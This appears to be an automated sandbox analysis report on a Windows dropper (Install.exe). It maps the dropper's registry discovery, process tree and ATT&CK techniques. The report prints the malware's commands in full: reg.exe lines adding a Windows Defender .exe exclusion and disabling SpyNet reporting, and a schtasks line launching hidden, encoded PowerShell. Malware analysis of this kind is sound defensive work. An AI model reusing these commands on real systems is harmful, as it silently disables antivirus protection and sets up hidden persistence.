2ff7bf95afadbd0e60442d4eb7e0aefe509bbe5cbaa9e1693b9caabed12eb9e8

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	Install.exe

Executes dropped EXE 2 IoCs

pid	Process
2856	Install.exe
4420	Install.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
60	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 2856	2960	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	83
PID 2960 wrote to memory of 2856	2960	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	83
PID 2960 wrote to memory of 2856	2960	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	83
PID 2856 wrote to memory of 4420	2856	Install.exe	84
PID 2856 wrote to memory of 4420	2856	Install.exe	84
PID 2856 wrote to memory of 4420	2856	Install.exe	84
PID 4420 wrote to memory of 3088	4420	Install.exe	87
PID 4420 wrote to memory of 3088	4420	Install.exe	87
PID 4420 wrote to memory of 3088	4420	Install.exe	87
PID 4420 wrote to memory of 4404	4420	Install.exe	89
PID 4420 wrote to memory of 4404	4420	Install.exe	89
PID 4420 wrote to memory of 4404	4420	Install.exe	89
PID 3088 wrote to memory of 3912	3088	forfiles.exe	91
PID 3088 wrote to memory of 3912	3088	forfiles.exe	91
PID 3088 wrote to memory of 3912	3088	forfiles.exe	91
PID 4404 wrote to memory of 2004	4404	forfiles.exe	92
PID 4404 wrote to memory of 2004	4404	forfiles.exe	92
PID 4404 wrote to memory of 2004	4404	forfiles.exe	92
PID 3912 wrote to memory of 3488	3912	cmd.exe	94
PID 3912 wrote to memory of 3488	3912	cmd.exe	94
PID 3912 wrote to memory of 3488	3912	cmd.exe	94
PID 2004 wrote to memory of 3336	2004	cmd.exe	93
PID 2004 wrote to memory of 3336	2004	cmd.exe	93
PID 2004 wrote to memory of 3336	2004	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe
"C:\Users\Admin\AppData\Local\Temp\02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Users\Admin\AppData\Local\Temp\7zSD002.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Users\Admin\AppData\Local\Temp\7zSD12B.tmp\Install.exe
    .\Install.exe /qGSediddTgIM "385118" /S
    3⤵
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3088
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3912
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:3488
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:3648
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4404
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2004
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:3336
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:4352
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gIFUvuebt" /SC once /ST 05:46:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:60
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gIFUvuebt"
      4⤵
      PID:4700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

Persistence

Scheduled Task/Job

1

Privilege Escalation

Scheduled Task/Job

1

Defense Evasion

Credential Access

Discovery

Query Registry

3

System Information Discovery

4